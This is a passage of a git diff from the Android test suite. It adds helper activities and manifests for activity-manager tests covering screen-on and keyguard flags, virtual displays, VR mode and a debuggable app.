+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ super.onCreate(savedInstanceState);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
new file mode 100644
index 0000000..f644eb2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
new file mode 100644
index 0000000..acc92b6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
+ .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..9ad7ddd
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setTurnScreenOn(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
new file mode 100644
index 0000000..8f4b947
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnDismissKeyguardActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+ new KeyguardDismissLoggerCallback(this));
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
new file mode 100644
index 0000000..6113a23
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
new file mode 100644
index 0000000..2dddb9b
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
new file mode 100644
index 0000000..a1ebbab
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+import android.view.WindowManager;
+
+public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ // This is to force a relayout, specifically with insets changed. When the insets are
+ // changed, it will trigger a performShow that could turn the screen on.
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
new file mode 100644
index 0000000..ade1f74
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.os.Bundle;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.HashMap;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VirtualDisplayActivity extends Activity implements SurfaceHolder.Callback {
+ private static final String TAG = "VirtualDisplayActivity";
+
+ private static final int DEFAULT_DENSITY_DPI = 160;
+ private static final String KEY_DENSITY_DPI = "density_dpi";
+ private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ = "can_show_with_insecure_keyguard";
+ private static final String KEY_PUBLIC_DISPLAY = "public_display";
+ private static final String KEY_RESIZE_DISPLAY = "resize_display";
+ private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
+ private static final String KEY_COUNT = "count";
+
+ private DisplayManager mDisplayManager;
+
+ // Container for details about a pending virtual display creation request.
+ private static class VirtualDisplayRequest {
+ public final SurfaceView surfaceView;
+ public final Bundle extras;
+
+ public VirtualDisplayRequest(SurfaceView surfaceView, Bundle extras) {
+ this.surfaceView = surfaceView;
+ this.extras = extras;
+ }
+ }
+
+ // Container to hold association between an active virtual display and surface view.
+ private static class VirtualDisplayEntry {
+ public final VirtualDisplay display;
+ public final SurfaceView surfaceView;
+ public final boolean resizeDisplay;
+ public final int density;
+
+ public VirtualDisplayEntry(VirtualDisplay display, SurfaceView surfaceView, int density,
+ boolean resizeDisplay) {
+ this.display = display;
+ this.surfaceView = surfaceView;
+ this.density = density;
+ this.resizeDisplay = resizeDisplay;
+ }
+ }
+
+ private HashMap<Surface, VirtualDisplayRequest> mPendingDisplayRequests;
+ private HashMap<Surface, VirtualDisplayEntry> mVirtualDisplays;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.virtual_display_layout);
+
+ mVirtualDisplays = new HashMap<>();
+ mPendingDisplayRequests = new HashMap<>();
+ mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
+ }
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ final Bundle extras = intent.getExtras();
+ if (extras == null) {
+ return;
+ }
+
+ String command = extras.getString("command");
+ switch (command) {
+ case "create_display":
+ createVirtualDisplay(extras);
+ break;
+ case "destroy_display":
+ destroyVirtualDisplays();
+ break;
+ case "resize_display":
+ resizeDisplay();
+ break;
+ }
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ destroyVirtualDisplays();
+ }
+
+ private void createVirtualDisplay(Bundle extras) {
+ final int requestedCount = extras.getInt(KEY_COUNT, 1);
+ Log.d(TAG, "createVirtualDisplays. requested count:" + requestedCount);
+
+ for (int displayCount = 0; displayCount < requestedCount; ++displayCount) {
+ final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+ final SurfaceView surfaceView = new SurfaceView(this);
+ surfaceView.setLayoutParams(new ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
+ surfaceView.getHolder().addCallback(this);
+ mPendingDisplayRequests.put(surfaceView.getHolder().getSurface(),
+ new VirtualDisplayRequest(surfaceView, extras));
+ root.addView(surfaceView);
+ }
+ }
+
+ private void destroyVirtualDisplays() {
+ Log.d(TAG, "destroyVirtualDisplays");
+ final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+
+ for (VirtualDisplayEntry entry : mVirtualDisplays.values()) {
+ Log.d(TAG, "destroying:" + entry.display);
+ entry.display.release();
+ root.removeView(entry.surfaceView);
+ }
+
+ mPendingDisplayRequests.clear();
+ mVirtualDisplays.clear();
+ }
+
+ @Override
+ public void surfaceCreated(SurfaceHolder surfaceHolder) {
+ final VirtualDisplayRequest entry =
+ mPendingDisplayRequests.remove(surfaceHolder.getSurface());
+
+ if (entry == null) {
+ return;
+ }
+
+ final int densityDpi = entry.extras.getInt(KEY_DENSITY_DPI, DEFAULT_DENSITY_DPI);
+ final boolean resizeDisplay = entry.extras.getBoolean(KEY_RESIZE_DISPLAY);
+ final String launchActivityName = entry.extras.getString(KEY_LAUNCH_TARGET_ACTIVITY);
+ final Surface surface = surfaceHolder.getSurface();
+
+ // Initially, the surface will not have a set width or height so rely on the parent.
+ // This should be accurate with match parent on both params.
+ final int width = surfaceHolder.getSurfaceFrame().width();
+ final int height = surfaceHolder.getSurfaceFrame().height();
+
+ int flags = 0;
+
+ final boolean canShowWithInsecureKeyguard
+ = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
+ if (canShowWithInsecureKeyguard) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+
+ final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
+ if (publicDisplay) {
+ flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+ }
+
+ Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
+ + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+ + ", publicDisplay=" + publicDisplay);
+ try {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
+ "VirtualDisplay" + mVirtualDisplays.size(), width,
+ height, densityDpi, surface, flags);
+ mVirtualDisplays.put(surface,
+ new VirtualDisplayEntry(virtualDisplay, entry.surfaceView, densityDpi,
+ resizeDisplay));
+ if (launchActivityName != null) {
+ final int displayId = virtualDisplay.getDisplay().getDisplayId();
+ Log.d(TAG, "Launch activity after display created: activityName="
+ + launchActivityName + ", displayId=" + displayId);
+ launchActivity(launchActivityName, displayId);
+ }
+ } catch (IllegalArgumentException e) {
+ final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+ // This is expected when trying to create show-when-locked public display.
+ root.removeView(entry.surfaceView);
+ }
+
+ }
+
+ @Override
+ public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
+ final VirtualDisplayEntry entry = mVirtualDisplays.get(surfaceHolder.getSurface());
+
+ if (entry != null && entry.resizeDisplay) {
+ entry.display.resize(width, height, entry.density);
+ }
+ }
+
+ @Override
+ public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
+ }
+
+ /** Resize virtual display to half of the surface frame size. */
+ private void resizeDisplay() {
+ final VirtualDisplayEntry vd = (VirtualDisplayEntry) mVirtualDisplays.values().toArray()[0];
+ final SurfaceHolder surfaceHolder = vd.surfaceView.getHolder();
+ vd.display.resize(surfaceHolder.getSurfaceFrame().width() / 2,
+ surfaceHolder.getSurfaceFrame().height() / 2, vd.density);
+ }
+
+ private void launchActivity(String activityName, int displayId) {
+ final Bundle extras = new Bundle();
+ extras.putBoolean("launch_activity", true);
+ extras.putString("target_activity", activityName);
+ extras.putInt("display_id", displayId);
+ ActivityLauncher.launchActivityFromExtras(this, extras);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
new file mode 100644
index 0000000..e163aa8
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.verifier.vr.MockVrListenerService;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VrTestActivity extends Activity {
+ private static final String TAG = "VrTestActivity";
+ private static final boolean DEBUG = false;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ if (DEBUG) Log.i(TAG, "onCreate called.");
+ super.onCreate(savedInstanceState);
+ try {
+ setVrModeEnabled(true, new ComponentName(this, MockVrListenerService.class));
+ } catch (PackageManager.NameNotFoundException e) {
+ Log.e(TAG, "Could not set VR mode: " + e);
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ if (DEBUG) Log.i(TAG, "onResume called.");
+ super.onResume();
+ }
+
+ @Override
+ public void onWindowFocusChanged(boolean hasFocus) {
+ if (DEBUG) Log.i(TAG, "onWindowFocusChanged called with " + hasFocus);
+ super.onWindowFocusChanged(hasFocus);
+ }
+
+ @Override
+ protected void onPause() {
+ if (DEBUG) Log.i(TAG, "onPause called.");
+ super.onPause();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
new file mode 100644
index 0000000..2bbe1b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class WallpaperActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
new file mode 100644
index 0000000..4b35ccf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.tools;
+
+import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
+
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.server.am.TestActivity;
+import android.util.Log;
+
+/** Utility class which contains common code for launching activities. */
+public class ActivityLauncher {
+ private static final String TAG = ActivityLauncher.class.getSimpleName();
+
+ public static void launchActivityFromExtras(final Context context, Bundle extras) {
+ if (extras == null || !extras.getBoolean("launch_activity")) {
+ return;
+ }
+
+ Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
+
+ final Intent newIntent = new Intent();
+ final String targetActivity = extras.getString("target_activity");
+ if (targetActivity != null) {
+ final String extraPackageName = extras.getString("package_name");
+ final String packageName = extraPackageName != null ? extraPackageName
+ : context.getApplicationContext().getPackageName();
+ newIntent.setComponent(new ComponentName(packageName,
+ packageName + "." + targetActivity));
+ } else {
+ newIntent.setClass(context, TestActivity.class);
+ }
+
+ if (extras.getBoolean("launch_to_the_side")) {
+ newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
+ if (extras.getBoolean("random_data")) {
+ final Uri data = new Uri.Builder()
+ .path(String.valueOf(System.currentTimeMillis()))
+ .build();
+ newIntent.setData(data);
+ }
+ }
+ if (extras.getBoolean("multiple_task")) {
+ newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
+ }
+ if (extras.getBoolean("new_task")) {
+ newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ }
+
+ if (extras.getBoolean("reorder_to_front")) {
+ newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
+ }
+
+ ActivityOptions options = null;
+ final int displayId = extras.getInt("display_id", -1);
+ if (displayId != -1) {
+ options = ActivityOptions.makeBasic();
+ options.setLaunchDisplayId(displayId);
+ newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+ }
+
+ try {
+ context.startActivity(newIntent, options != null ? options.toBundle() : null);
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/tests/framework/base/activitymanager/appDebuggable/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
rename to tests/framework/base/activitymanager/appDebuggable/Android.mk
diff --git a/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
new file mode 100644
index 0000000..e8a2452
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.am.debuggable">
+
+ <!--
+ * Security policy requires that only debuggable processes can be profiled
+ * which is tested by ActivityManagerAmProfileTests.
+ -->
+ <application android:debuggable="true">
+ <activity android:name=".DebuggableAppActivity"
+ android:resizeableActivity="true"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
new file mode 100644
index 0000000..33034b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.debuggable;
+
+import android.app.Activity;
+
+public class DebuggableAppActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/tests/framework/base/activitymanager/appDisplaySize/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
rename to tests/framework/base/activitymanager/appDisplaySize/Android.mk
diff --git a/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
new file mode 100644
index 0000000..a3bef31
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.am.displaysize">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+ <!-- Set a ridiculously high value for required smallest width. Hopefully
+ we never have to run CTS on Times Square display. -->
+ <supports-screens android:requiresSmallestWidthDp="100000" />
+
+ <application>
+ <activity android:name=".SmallestWidthActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
new file mode 100644
index 0000000..fc085be
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am.displaysize;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class SmallestWidthActivity extends Activity {
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+
+ final Bundle extras = intent.getExtras();
+ if (extras != null && extras.getBoolean("launch_another_activity")) {
+ Intent startIntent = new Intent();
+ startIntent.setComponent(
+ new ComponentName("android.server.am", "android.server.am.TestActivity"));
+ startActivity(startIntent);
+ }
+ }
+}
